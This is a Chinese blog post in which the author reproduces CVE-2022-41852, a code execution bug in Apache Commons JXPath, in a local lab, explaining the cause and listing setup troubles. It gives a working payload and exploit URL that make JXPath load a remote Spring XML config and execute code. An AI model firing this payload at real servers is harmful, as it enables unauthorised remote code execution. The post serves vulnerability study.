CVE-2022-41852漏洞复现

CVE-2022-41852

项目介绍

Apache Commons JXPath是美国阿帕奇(Apache)基金会的一种 XPath 1.0 的基于 Java 的实现。JXPath 为使用 XPath 语法遍历 JavaBeans、DOM 和其他类型的对象的图形提供了 API。

漏洞描述

Apache Commons JXPath 存在安全漏洞,攻击者可以利用除compile()和compilePath()函数之外的所有处理XPath字符串的JXPathContext类函数通过XPath表达式从类路径加载任何Java类,从而执行恶意代码

文章介绍:

本文基于这两篇文章进行漏洞复现

CVE-2022-41852 Apache Commons Jxpath命令执行漏洞分析 - FreeBuf网络安全行业门户

https://github.com/Warxim/CVE-2022-41852

漏洞分析

1,了解Spring框架

因为此漏洞是基于spring框架的,所以首先了解spring框架的搭建、运行等基本知识

Spring框架基础知识 - 知乎 (zhihu.com)

2,了解JXpath

在了解JXpath的过程中,运用到了迭代学习法:

CVE-2022-41852漏洞复现_第1张图片

要了解JXpath,就要先了解Xpath,粗略地理解为:用java实现的”爬虫“技术(爬取XML等文件)

使用JXPath访问java对象、集合和XML文件 - weidagang2046的专栏 - BlogJava

补充:spring bean

Spring Bean详细讲解 什么是Bean?_鹿‘s的博客-CSDN博客_springbean

3,分析JXpath,找出漏洞在哪

顺着文章思路可以发现,问题出在其中PackageFunctions类中的org.apache.commons.jxpath.PackageFunctions函数;

问题所在:

如果是实例化构造函数,在Spring框架中==可通过加载远程配置实现命令执行==,这里使用

这里可以类比XSS(跨站脚本攻击)

org.springframework.context.support.ClassPathXmlApplicationContext类,构造payload:

org.springframework.context.support.ClassPathXmlApplicationContext.new(“http://127.0.0.1:8001/test.xml”) // 后面这个就是执行的恶意文件;

知识点补充:

问题: spring如何加载远程配置?

因为spring应用中的properties文件都是打包在war中,当服务器数量庞大时,修改配置相当麻烦;故采用加载远程配置的方式,所有应用启动时从云上获取配置,配置需要修改时,直接修改git上的配置即可;

文章参考:spring: 加载远程配置 - 腾讯云开发者社区-腾讯云 (tencent.com)

然后就是构造恶意xml文件,设置init-method实现RCE:

关于init-method

Spring中init-method和destroy-method的四种方式_星夜孤帆的博客-CSDN博客_init-method

RCE:远程代码执行漏洞

4,探究JXpath是如何执行恶意文件的

关键点:

实例化之后,继续跟进会来到org.apache.commons.jxpath.ri.compiler.ExtensionFunction#computeValue

在获得了org.apache.commons.jxpath.Function对应的这个实例后,会调用具体的invoke实现

什么是invoke?

精髓在未知的情况下,根据条件决定去调用什么对象,什么方法

思想:反射调用;

参考文献:Java的invoke方法_我是坑货的博客-CSDN博客_java invoke

5,拓展

使用其他的函数或者调用实现漏洞(此处不再展示)

漏洞复现

1,构造test.xml(恶意xml文件)

(代码可参考POC中的read.md)

并将该文件放到网页根目录中,比如127.0.0.1的根目录下(方便接下来调用)

2,开启127.0.0.1服务;

说明:

其实文章中用python开启http和直接用phpstudy效果是一样的,只要开启http服务就行;

本质:

这个很巧妙,因为访问的是网页中的文件,而不是本地中的文件,效果更好;

3,执行命令

网页链接:

http://localhost:8080/vulnerable-example?path=org.springframework.context.support.ClassPathXmlApplicationContext.new("http://127.0.0.1/test.xml")

效果:

CVE-2022-41852漏洞复现_第2张图片

遇到的问题

1,打不开localhost:8080

1)下载Tomcat

参考文章:

Tomcat安装及配置_思想在拧紧的博客-CSDN博客_tomcat

在tomcat访问自己写的项目_秃头披风侠.的博客-CSDN博客

2)文件要放在webapps下

2,打不开测试网页

spring是个框架,要这个框架运行,就必须得执行代码,让他跑起来;而不是让其作为一个代码“躺在”文件中;

3,RCE一直不成功,总是error

如图:

CVE-2022-41852漏洞复现_第3张图片

因为把网页弄错啦!!!

执行的是vulnerable(漏洞)的那段代码,而不是secure(加补丁)后的代码!!!

CVE-2022-41852漏洞复现_第4张图片

总结

1,学会了迭代式学习

a、遇到不会的话,先判断哪些名词是最关键的,然后一个个突破;

b、不需要每个名词都深究,把握“牛和鹿”的原则,有的深挖,有的了解即可;

2,学会看idea的报错

比如这个:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KyE3AALq-1677393747758)(C:\Users\25932\AppData\Roaming\Typora\typora-user-images\image-20230226143710401.png)]

说明找不到这个函数,为什么?因为我输错网址了…

要学会看!!!而不是嫌麻烦就不管了!!!

3、当遇到不懂的函数、类方法,要尝试去源码探究

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tPRRtBtz-1677393747759)(C:\Users\25932\AppData\Roaming\Typora\typora-user-images\image-20230226144015987.png)]

参考文章

1,Apache Commons JXPath 任意代码执行漏洞(CVE-2022-41852)_墨菲安全 (murphysec.com)

你可能感兴趣的:(CVE,java,spring,开发语言,web安全)